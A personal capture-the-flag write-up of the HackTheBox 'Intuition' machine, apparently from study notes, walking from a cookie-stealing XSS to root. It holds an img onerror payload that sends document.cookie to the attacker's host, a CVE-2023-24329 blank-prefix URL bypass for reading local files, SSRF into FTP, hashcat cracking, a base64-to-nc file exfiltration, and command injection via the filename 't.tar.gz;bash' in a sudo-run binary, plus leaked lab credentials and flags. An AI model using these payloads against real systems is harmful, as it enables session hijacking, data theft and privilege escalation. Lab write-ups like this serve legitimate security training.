Intuition
Recon
└─$ echo '10.10.11.14 comprezzor.htb' | sudo tee -a /etc/hosts
10.10.11.14 comprezzor.htb
HTTP (80)

Dir enumeration returned nothing, since we have a vhost we could also enumerate that:
└─$ ffuf -u http://comprezzor.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.comprezzor.htb' -mc all -fw 6
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://comprezzor.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response words: 6
________________________________________________
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 412ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 258ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 414ms]
└─$ tail -1 /etc/hosts
10.10.11.15 comprezzor.htb auth.comprezzor.htb dashboard.comprezzor.htb report.comprezzor.htb
report.comprezzor.htb
:
Possible XSS?
To make reports we need account and auth
subdomain lets us login/register.
Creds:
hacka:hacka
XSS (Session Hijack)
[[xss-reflected-steal-cookie]]
Payload:
<img src=x onerror="this.src='http://10.10.16.74:8888/?'+document.cookie; this.removeAttribute('onerror');">
└─$ serve 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.15 - - [15/May/2024 03:02:04] "GET /?user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 -
Change cookie and visit dashboard
subdomain:
Now we are user webdev
.
Submit a new report as webdev
to gain admin
access, it was described in About Bug Reports.
└─$ serve 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.15 - - [15/May/2024 03:06:32] "GET /?user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 200 -
That didn't work...
The report gets deleted like after 10 seconds so we have to create a report as a user, make a request as webdev
to escalate priority so admin can take a look at it:
└─$ curl 'http://dashboard.comprezzor.htb/change_priority?report_id=21&priority_level=1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 0' -H 'Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4'
Note:
report_id
your report id
Ok, so
Do XSS as user
Login and escalate report as
webdev
Listen for cookies
└─$ serve 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.15 - - [15/May/2024 03:56:26] "GET /?user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 HTTP/1.1" 200 -
LFI


Typical file:///
protocol wasn't working and it kept throwing invalid url error, let's see if we can make request to ourselves:
└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.15:42736.
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.74:4444
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
User-Agent is Python-urllib
instead of Python-requests
so it can be deducted that urllib.parse
is used for parsing URLs.
After googling we find: CVE-2023–24329 Bypassing URL Blackslisting using Blank in Python urllib library
DESCRIPTION: Python could allow a remote attacker to bypass security restrictions, caused by a flaw in the
urllib.parse
component. By sending a specially-crafted request using URL starts with blank characters, an attacker could exploit this vulnerability to bypass blocklisting methods. source
Add a space in front and then file
protocol:
It was really painful to view files though browser so here's a small script to read pdf files:
from pypdf import PdfReader
from io import BytesIO
import requests
import readline
URL = 'http://dashboard.comprezzor.htb/create_pdf_report'
COOKIES = {'user_data': 'eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5'}
while True:
file = input('File: ').strip()
if file.lower() == 'q':
break
resp = requests.post(URL, cookies=COOKIES, data={'report_url': f' {file}'})
data = BytesIO(resp.content)
try:
doc = PdfReader(data)
for page in doc.pages:
text = page.extract_text()
print(text)
except Exception as e:
print(e)
└─$ py pdf_parser.py
File: file:///etc/hostname
web.local
File: file:///proc/self/cmdline
python3/app/code/app.py
File: file:///app/code/app.py
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024
## Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'}
## Add more allowed file extensions if needed
app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=80)
PDF output is terrible with spaces, but it's readable so yeah and I normalized it in above block... We have a secret key and imports.
From dashboard we get FTP credentials:
File: file:///app/code/blueprints/dashboard/dashboard.py
...
zipf.write(file_path, arcname=arcname)
try:
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')
with
open(backup_filename, 'rb') as file:
...
FTP (SSRF)
Hmm.. but the port is not open, SSRF?
File: ftp://ftp_admin:u3jai8y71s2@ftp.local
-rw------- 1 root root 2655 May 15 10:55 private-8297.key
-rw-r--r-- 1 root root 15519 May 15 10:55 welcome_note.pdf
-rw-r--r-- 1 root root 1732 May 15 10:55 welcome_note.txt
Used ChatGPT to fix the spaces D:
File: ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
Dear Devs,
We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely delighted to have you on board.
Here, we value talent, innovation, and teamwork, and your presence here reaffirms our commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are invaluable assets that will contribute significantly to our continued growth and success.
As you settle into your new role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way, ensuring that you have the resources and knowledge necessary to thrive in your position.
To facilitate your work and access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out for assistance.
In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products.
Once again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing your exceptional contributions. Together, we will continue to achieve great things.
If you have any questions or need further information, please feel free to contact me at adam@comprezzor.htb.
Best regards,
Adam
Nice, we have private key and it's password, but who does it belong to? [[Labs/HackTheBox/Seasonal/Season 5/Intuition/id_rsa]]
└─$ ssh-keygen -y -f id_rsa
Enter passphrase:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local
└─$ ssh dev_acc@comprezzor.htb -i id_rsa
Enter passphrase for key 'id_rsa':
dev_acc@intuition:~$
SSH
User.txt
dev_acc@intuition:~$ cat user.txt
500286e29ac629c8d4fd3a119a5a226e
Privileges Escalation (lopez)
Credentials from auth
module:
dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .table
users
sqlite> SELECT * FROM users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
➜ .\hashcat.exe --show .\hashes
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
30120 | Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) | Framework
➜ .\hashcat.exe -m 30120 -a 0 .\hashes .\rockyou.txt
➜ .\hashcat.exe --show .\hashes
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
Note: Yes, the password has space
I tried changing to user adam
, but it didn't work. I then tried FTP:
dev_acc@intuition:~$ ftp adam@localhost
Connected to localhost.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||58283|).
150 File status okay. About to open data connection.
drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup
226 Transfer complete.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||34499|).
150 File status okay. About to open data connection.
drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||48989|).
150 File status okay. About to open data connection.
-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
226 Transfer complete.
ftp> prompt
Interactive mode off.
ftp> mget * . # mget star dot
...
226 Transfer complete.
3815 bytes received in 00:00 (4.43 MiB/s)
ftp> bye
221 Goodbye.
dev_acc@intuition:~$ cat run-tests.sh
##!/bin/bash
## List playbooks
./runner1 list
## Run playbooks [Need authentication]
## ./runner run [playbook number] -a [auth code]
##./runner1 run 1 -a "UHI75GHI****"
## Install roles [Need authentication]
## ./runner install [role url] -a [auth code]
##./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
Right away we see AUTH_KEY_HAS, since we don't know last 4 it can be bruteforced:
➜ .\hashcat.exe -m 0 -a 3 '0feda17076d793c2ef2870d7427ad4ed' 'UHI75GHI?a?a?a?a'
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
Hmm... /opt
contains runner2
and it's probably version 2, we have version 1...
dev_acc@intuition:~$ ls /opt/
containerd ftp google playbooks runner2
dev_acc@intuition:~$ ls /opt/runner2/
ls: cannot open directory '/opt/runner2/': Permission denied
Enumerate files readable to us which are owned by users:
dev_acc@intuition:~$ find / -user adam -group adam 2>/dev/null | grep -vE '/(proc|sys|lib|run)/'
/home/adam
dev_acc@intuition:~$ find / -user lopez -group lopez 2>/dev/null | grep -vE '/(proc|sys|lib|run)/'
/home/lopez
/usr/share/ansible/roles/kavi.tar/meta/main.yml
/usr/share/ansible/roles/kavi.tar/symlink
Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine developed by the OISF and the Suricata community. suricata
Let's see what we can dig up in the logs:
// dev_acc@intuition:/var/log/suricata$ zgrep 'password' ./*.gz -iwE --color=auto | grep -vi fuzz | xargs -0 echo | cut -d ':' -f2- | jq -c
{"timestamp":"2023-09-28T17:43:25.975499+0000","flow_id":2173767694113635,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":34404,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:bkIDx3KQer9KeG3bmkm8RH0TuCI=","ftp":{"command":"USER","command_data":"testing","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
---
// dev_acc@intuition:/var/log/suricata$ zgrep '"PASS"' ./*.gz -iwE --color=auto | grep -vi fuzz | xargs -0 echo | cut -d ':' -f2- | jq -c
{"timestamp":"2023-09-28T17:43:29.917563+0000","flow_id":2173767694113635,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":34404,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:bkIDx3KQer9KeG3bmkm8RH0TuCI=","ftp":{"command":"PASS","command_data":"tesgin","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
Creds:
lopez:Lopezz1992%123
Switch user with su - lopez
Privileges Escalation (root)
lopez
is part of sys-adm
group so we can view /opt/runner2
:
lopez@intuition:/opt/runner2$ groups
lopez sys-adm
lopez@intuition:/opt/runner2$ ls -alh /opt
total 28K
drwxr-xr-x 7 root root 4.0K Apr 10 08:21 .
drwxr-xr-x 19 root root 4.0K Apr 10 07:40 ..
drwx--x--x 4 root root 4.0K Aug 26 2023 containerd
drwxr-xr-x 4 root root 4.0K Sep 19 2023 ftp
drwxr-xr-x 3 root root 4.0K Apr 10 08:21 google
drwxr-x--- 2 root sys-adm 4.0K Apr 10 08:21 playbooks
drwxr-x--- 2 root sys-adm 4.0K Apr 10 08:21 runner2
lopez@intuition:/opt/runner2$ ./runner2
Usage: ./runner2 <json_file>
lopez@intuition:/opt/runner2$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
Let's download the file and inspect what kind of JSON it expects:
lopez@intuition:/opt/runner2$ base64 /opt/runner2/runner2 | nc 10.10.16.74 80
---
└─$ listen 80 > runner2.base64
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.15:58696.
^C
└─$ base64 -d runner2.base64 > runner2
└─$ file runner2
runner2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e1d85ed284e278ad7ab92c2208e4d34cbdceec24, for GNU/Linux 3.2.0, not stripped
The run
command has less control then install
. run
is checked that file ends with .yml
and it must be in /opt/playbooks
where we don't have write access.install
takes ansible template and does operation on it. Filename is controlled from JSON so injecting commands isn't a problem since ;
character is allowed on Linux filesystem.
lopez@intuition:/tmp$ nano t.json
lopez@intuition:/tmp$ cat t.json
{
"run": {
"action": "install",
"role_file": "/tmp/t.tar.gz;bash"
},
"auth_code": "UHI75GHINKOP"
}
lopez@intuition:/tmp$ tar -czvf 't.tar.gz;bash' t.json
lopez@intuition:/tmp$ sudo /opt/runner2/runner2 /tmp/t.json
Starting galaxy role install process
[WARNING]: - /tmp/t.tar.gz was NOT installed successfully: Unknown error when attempting to call Galaxy
at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/tmp# cd /root
root@intuition:~# ls
keys root.txt scripts snap
root@intuition:~# cat root.txt
e5f623955f248cbb5c19d7c84b2f8c22
Writeups used: https://blog.taipanbyte.ru/hackthebox/Intuition-HTB-Writeup
Note: I decided to use Syncthing for syncing my notes on phone, but shit went sideways and everything got deleted from notes. Luckily I recovered files with DMDE software, but wasn't so lucky with images. Hence they are taken from writeup above!
Last updated